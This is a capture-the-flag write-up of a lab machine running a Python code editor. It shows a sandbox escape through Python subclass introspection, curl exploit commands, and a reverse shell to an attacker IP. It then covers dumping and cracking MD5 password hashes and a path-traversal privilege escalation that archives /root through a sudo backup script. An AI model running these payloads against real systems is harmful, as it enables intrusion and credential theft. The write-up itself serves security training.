RECON

Port Scan

$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
|   256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open  http    syn-ack Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 5000 is open as the main attack surface — Gunicorn 20.0.4 hosting a Python Code Editor, which often open doors to command injection, RCE, SSRF, or sandbox escape vulnerabilities.

Python Code Editor

Gunicorn is a Python WSGI HTTP server designed to run Python web applications. It hosts a Python Code Editor on port 5000, where we can run Python code online along with some register/login entries:

It operates through a set of RESTful API endpoints, including:

We’re able to authenticate and persist code snippets via the “Save” functionality, then enumerate historical entries by manipulating the code_id parameter:

WEB

Python Sandbox Escape

Browse the interface on port 5000 and interact with the code editor, where functions with user-supplied Python code is being executed within a restricted environment, or sandbox.

A Python sandbox is a restricted execution environment that tries to limit what the code can do — e.g., no access to os, sys, file system, subprocesses, etc. It's often implemented to allow safe evaluation of code snippets (like in online editors or learning platforms), which is applied on our target:

However, Python is notoriously hard to sandbox properly because of its reflective and dynamic nature. A classic exploit on such scenario is Python Sandbox Escape, that we can refer to the HackTricks manual. So this is a game of breaking the sandbox.

As common ways to escape a Python sandbox, we can try to access the Buitin Subclass (__buildins__), which allows full access to Python's internals:

It turns out the server also restricts access to the __builtins__ object.

To circumvent this, we pivot to object-oriented introspection chains, probing whether we can traverse the Base Subclass (__bases__) hierarchy. A classic move:

Python
(1).__class__.__bases__[0].__subclasses__()

A jailbreak:

RCE | Python Subclasses

Once we've pinpointed the Python subclass capable of breaching the sandbox, it’s time to unleash Python’s introspective arsenal—digging through its object hierarchy to peel back the runtime's layers of defense.

We can weaponize this via a Bash script and curl:

Bash
export target_ip=""	# Remote IP
export inj=""		# Python subclasses chain injection

curl -X POST "http://$target_ip:5000/run_code" \
    --data-urlencode "code=$inj"

First, we need to enumerate all in-memory subclasses of the base object class using:

Python
for i, c in enumerate((()).__class__.__base__.__subclasses__()):
    print(i, c)
  • () → Create an empty tuple object to store found subclasses
  • ().__class__ → Gets the tuple class
  • .__base__ → Goes one level up the inheritance to the Python object class
  • .__subclasses__() → Gets a list of all subclasses of object loaded into memory

We drop the output to a file for recon:

$ export inj='for i, c in enumerate((()).__class__.__base__.__subclasses__()): print(i, c)'

$ curl -X POST "http://$target_ip:5000/run_code" \
    --data-urlencode "code=$inj" \
    > subclasses.txt

Now, sweep the memory space for high-value (dangerous) classes like:

  • subprocess.Popen — the holy grail for code execution
  • _wrap_close, warnings.catch_warnings — often useful in escape chains_wrap_close
  • fileinput.FileInput — sometimes abused for I/O redirection

Popen is always the most straight forward class to execute arbitrary code. Thus we can sanitize and filter the blob:

$ cat subclasses.txt | sed 's/\\n/\n/g' | grep -C 3 -i popen
314: <class 'ctypes.CDLL'>
315: <class 'ctypes.LibraryLoader'>
316: <class 'subprocess.CompletedProcess'>
317: <class 'subprocess.Popen'>
318: <class 'logging.LogRecord'>
319: <class 'logging.PercentStyle'>
320: <class 'logging.Formatter'>

Here, subprocess.Popen sits at index 317. This gives us direct access to the process execution layer — effectively a loaded gun for Remote Command Execution (RCE).

Subclass indices shift with Python versions and loaded modules. Always scan before pulling the trigger. That's why we print the full list in the previous step.

We can now instantiate with a reverse-shell injection:

Python
().__class__.__base__.__subclasses__()[317](
    ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.16.2/4444 0>&1"]
)

Start a listener before sending the request. Then fire the payload and catch the shell — we're now sitting inside the sandbox, but with keys to the gate. The session lands as user app-production:

USER

As we sweep through /home—a classic post-shell instinct—we spot two occupants: martin and app-application. But here's the curveball: the user flag isn't tucked under martin as usual. Instead, it's stashed right inside the web user’s lair, app-production:

User flag after compromising a web user, which is a bit unconventional. Now shift our sights to the next privilege link in the chain: martin. Time to pivot.

ROOT

Code Review

After establishing our initial foothold under the web root, we can take a look at app.py. This isn’t just any script. It’s the nerve center of the Python Code Editor application, now fully exposed under our control.

Python
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib

app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
[...]

Hardcoded Flask SECRET_KEY found. And it indicates the app uses SQLAlchemy, which is a Python SQL toolkit for the web app to connect database. The script defines 2 models:

Python
[...]
class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(80), nullable=False)
    codes = db.relationship('Code', backref='user', lazy=True)

class Code(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)
    name = db.Column(db.String(100), nullable=False)

    def __init__(self, user_id, code, name):
        self.user_id = user_id
        self.code = code
        self.name = name
[...]

The User class maps to the auth layer—holding username and password fields—while the Code class ties into saved code snippets from the Python editor feature we explored during recon. Each snippet is linked to a user_id.

This SQLAlchemy ORM (Object Relational Mapper) structure leaks the underlying database schema: table names, column names, and relational mappings. This blueprint will be a roadmap for direct in-memory queries in later exploit.

Additionally, we uncover a Password Storage Weakness: user credentials are hashed using MD5 during registration:

Python
[...]
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        existing_user = User.query.filter_by(username=username).first()
[...]

MD5 is a relic—fast, collision-prone, and cryptographically broken. This opens the door to brute-force attacks, dictionary-based cracks, or rainbow table lookups.

And finally, we circle back to a vulnerability already weaponized during earlier exploitation - a sandbox escape via Python’s object-oriented introspection, leading to full code execution:

Python
[...]
@app.route('/run_code', methods=['POST'])
def run_code():
    ...
    exec(code)
[...]

Although there’s a keyword blacklist:

Python
['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']

Since we’ve already bypassed this using Python sandbox escape with the Base Subclass (__bases__), we can fully interact with the Python environment.

Leak SQLAlchemy

From the code review, we know that the db and User objects are globally defined in app.py:

Python
db = SQLAlchemy(app)

class User(db.Model):
    ...
    
class Code(db.Model):
    ...

We can confirm the full Flask app context, where db, User, and Code are all loaded into the global namespace:

$ export inj='print(globals().keys())'

$ curl -X POST "http://$target_ip:5000/run_code" \
        --data-urlencode "code=$inj"
{"output":"dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'Flask', 'render_template', 'render_template_string', 'request', 'jsonify', 'redirect', 'url_for', 'session', 'flash', 'SQLAlchemy', 'sys', 'io', 'os', 'hashlib', 'app', 'db', 'User', 'Code', 'index', 'register', 'login', 'logout', 'run_code', 'load_code', 'save_code', 'codes', 'about'])\n"}

These definitions exist at global scope, meaning they are already loaded into memory and available at runtime when the Flask app is running. So if we're executing Python inside the context of that running app (via /run_code), we have access to these variables directly.

To access the runtime db SQLAlchemy object, we can refer to the SQLAlchemy Query API introducing the Query object, which is produced in terms of a given Session, using the Session.query() method.

In our case, the Flask application exposes both db (SQLAlchemy instance) and the User model in the global namespace, which can be accessed dynamically via globals():

Python
globals()['db'].session.query(globals()['User']).all()

This returns a list of User objects by executing a full ORM query using the current database session:

$ export inj='print(globals().keys())'

$ curl -X POST "http://$target_ip:5000/run_code" \
        --data-urlencode "code=$inj"
{"output":"dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'Flask', 'render_template', 'render_template_string', 'request', 'jsonify', 'redirect', 'url_for', 'session', 'flash', 'SQLAlchemy', 'sys', 'io', 'os', 'hashlib', 'app', 'db', 'User', 'Code', 'index', 'register', 'login', 'logout', 'run_code', 'load_code', 'save_code', 'codes', 'about'])\n"}

To extract data from the User model, we can iterate over the query results using the pattern outlined in the SQLAlchemy session basics documentation:

Python
users = globals()['db'].session.query(globals()['User']).all()
for u in users:
    print(u.username, u.password)

This allows us to programmatically exfiltrate user data:

$ export inj='print(globals()['db'].session.query(globals()['User']).all())'

$ curl -X POST "http://$target_ip:5000/run_code" \
        --data-urlencode "code=$inj"
{"output":"<SQLAlchemy sqlite:////home/app-production/app/instance/database.db>"}

With full access to the runtime, we exfil the user table via SQLAlchemy and score two sets of credentials—both hashed with no-salt MD5. Cracked credentials:

  • development / development
  • martin / nafeelswordsmaster

The latter one allows us to SSH login to compromise user martin:

Sudo

We can notice that there's a suspicious "Backup" folder under home directory:

martin@code:~$ ll backups/
total 20
drwxr-xr-x 2 martin martin 4096 Mar 23 03:40 ./
drwxr-x--- 6 martin martin 4096 Mar 23 03:40 ../
-rw-r--r-- 1 martin martin 5879 Mar 23 03:40 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin  181 Mar 23 03:40 task.json

martin@code:~$ cat backups/task.json
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

It's a backup configuration file (which we have write access) — possibly consumed by a script or service that runs archiving logic:

  • Target directory is: /home/app-production/app (the same path where the Flask app lives).
  • Destination is local (/home/martin/backups/) — which matches the .tar.bz2 archive found there.
  • Multiprocessing: true — means it may fork subprocesses during execution.
  • *Exclude: .* — indicates dotfiles and hidden files are ignored.

Next, we can check Sudo privilege:

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
    
martin@code:~$ ll /usr/bin/backy.sh
-rwxr-xr-x 1 root root 926 Sep 16  2024 /usr/bin/backy.sh

We can run as root without a password on a custom sudo-enabled script: /usr/bin/backy.sh:

Bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

This script processes a JSON file, and ultimately calls another binary: /usr/bin/backy:

  1. It takes a JSON config file as input.
  2. Verifies that it exists and is in /var/ or /home/
  3. Uses jq to:
    • Strip ../ from directories_to_archive
    • Extract paths from .directories_to_archive[]
  4. Verifies paths are under /home/ or /var/
  5. Finally runs: /usr/bin/backy "$json_file"

So the actual privileged operation happens inside /usr/bin/backy, we can take a look on its usage:

pmartin@code:~$ ll /usr/bin/backy
-rwxr-xr-x 1 root root 2875189 Aug 26  2024 /usr/bin/backy*

martin@code:~$ file /usr/bin/backy
/usr/bin/backy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=RWqjP0EHFxWRL9SxAzvR/3-TEtzva44_xlRAMnq1A/OtYOmubKIkGHYUBMolai/2rhkvEyKOF9Rp_sQ7C0l, not stripped

martin@code:~$ backy -h
2025/03/23 03:56:04 🍀 backy 1.2
2025/03/23 03:56:04 📋 Working with -h ...
2025/03/23 03:56:04 🔰 Task configuration: destination must be specified!
2025/03/23 03:56:04 ❗️ Can't read provided task configuration

martin@code:~$ backy
2025/03/23 03:57:26 🍀 backy 1.2
2025/03/23 03:57:26 ❗️ No task configuration provided
2025/03/23 03:57:26 🔰 Usage: backy <task.json>

So we’re dealing with a custom Go binary. The binary validates the config on execution — and emits Go-style log messages (2025/03/23 HH:MM:SS), which is typical for Go programs using log.Println() or log.Printf(), suffice to say it's easy to identify with file.

In conclusion:

  • We can run backy.sh via sudo with any JSON file in /home/ or /var/
  • And backy runs as root
  • And we control the JSON config and the archived directories with write privilege.

We’re staring down a powerful write primitive—disguised as a benign backup utility. The backy.sh script, fronting the backy binary, grants us root-level file operations under the pretense of archiving.This means we can copy-paste sensitive files as the root user.

Path Traversal

According to backy.sh, backups are restricted to directories under /home or /var. However, there exists an obvious Path Traversal vulnerability:

Python
[...]
allowed_paths=("/var/" "/home/")	# [1]

[...]

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do	# [2]
        if [[ "$path" == $allowed_path* ]]; then	# [3]
            return 0
        fi
    done
    return 1
}
  • [1] defines an array in bash with two elements:
    • allowed_paths[0] = /var/
    • allowed_paths[1] = /home/
  • [2] expands all elements of the array as individual quoted words.
  • [3] is a string-based prefix match, not actual path resolution — mind the *. It does not consider how the kernel resolves the final path. This checks: Does the string path start with /var/ or /home/?

When used inside double square brackets ([[ ... ]]), == supports pattern matching (glob), not strict string equality. For example:

Therefore, we bypass the weak prefix check using .. directory traversal and confirm it with realpath—the path resolves cleanly to /root:

Exploit

With the vulnerability exposed, it's time to chain it into a privilege escalation.

First, craft a malicious JSON config for the backy.sh script (which wraps the privileged /usr/bin/backy binary):

Bash
cat <<EOF> /dev/shm/xpl.json
{
  "destination": "/dev/shm",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/var/../root/"
  ]
}
EOF

This payload passes the script’s string check, but actually tells backy to archive /root.

Then run the Sudo script to trigger root-owned backup:

Bash
sudo backy.sh /dev/shm/xpl.json

Once executed, it’ll create a .tar.bz2 archive of the root directory:

Extract the archive:

Bash
tar -xvjf *.tar.bz2

From here, it’s a simple matter of extraction and exfiltration. Root flag, dotfiles, keys—ours for the taking:

Capture the root flag directly, or login with the leaked RSA key:

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)